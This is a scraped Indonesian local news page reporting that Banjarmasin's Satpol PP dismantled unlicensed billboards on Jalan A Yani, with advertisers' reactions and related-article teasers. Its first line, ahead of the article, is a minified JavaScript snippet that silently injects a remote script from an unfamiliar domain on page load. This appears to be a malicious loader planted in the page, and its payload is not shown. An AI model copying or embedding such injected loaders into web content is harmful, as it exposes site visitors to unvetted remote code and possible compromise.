(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Menepati janji, Satpol PP Kota Banjarmasin mulai membongkar bando reklame di sepanjang jalan A Yani Banjarmasin. Pembongkaran ini menyusul penertiban yang dilakukanaparat Satpol PP karenas tidak memiliki izin sejak dua tahun terakhir.
Informasi dihimpun, reklame itu telah dibongkar oleh Satpol PP Banjarmasin pada Jumat (18/6/2020) dini hari.
Satpol PP sendiri dibantu jajaran Polresta Banjarmasin untuk melalakukan pembongkaran. Bahkan saat proses pembongkaran dilakukan, alat berat berupa sky lift dilibatkan agar membantu petugas Satpol PP.
Namun demikian, setelah dibongkar, bekas reklame hanya ditaruh di trotoar Jalan Ahmad Yani. Di samping itu, beberapa reklame masih kokoh berdiri di median jalan, karena Pemko Banjarmasin mengaku butuh waktu untuk menertibkan reklame tersebut.
Menanggapi pembongkaran bando reklame itu, Plt Kepala Satpol PP Kota Banjarmasin Ichwan Noor Chalik memilih bungkam. “No comment kita,” singkat Ichwan.
Sementara itu, Ketua Asosiasi Pengusaha Periklanan Seluruh Indonesia (APPSI) Kalsel Winardi Sethiono mengaku sudah mengetahui adanya informasi pembongkaran bando reklame itu sejak dini hari. Kemudian dirinya beserta pengelola advertising lainnya segera ke Pemko Banjarmasin.
“Kita menagih janji Wali Kota Banjarmasin H Ibnu Sina,” kata Winardi.
Diketahui, pengusaha advertising ini melanggar aturan Permen PU Nomor 20 Tahun 2010 dan UU Nomor 22 Tahun 2009 tentang Lalu Lintas. Di samping itu, keberadaan bando reklame ini juga melanggar Perda Kota Banjarmasin Nomor 16 Tahun 2014. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyikapi persoalan iuran kegiatan acara… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menyikapi pungutan acara perpisahan siswa sekolah di Banjarbaru, Wali Kota Banjarbaru Aditya… Read More
Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More
This website uses cookies.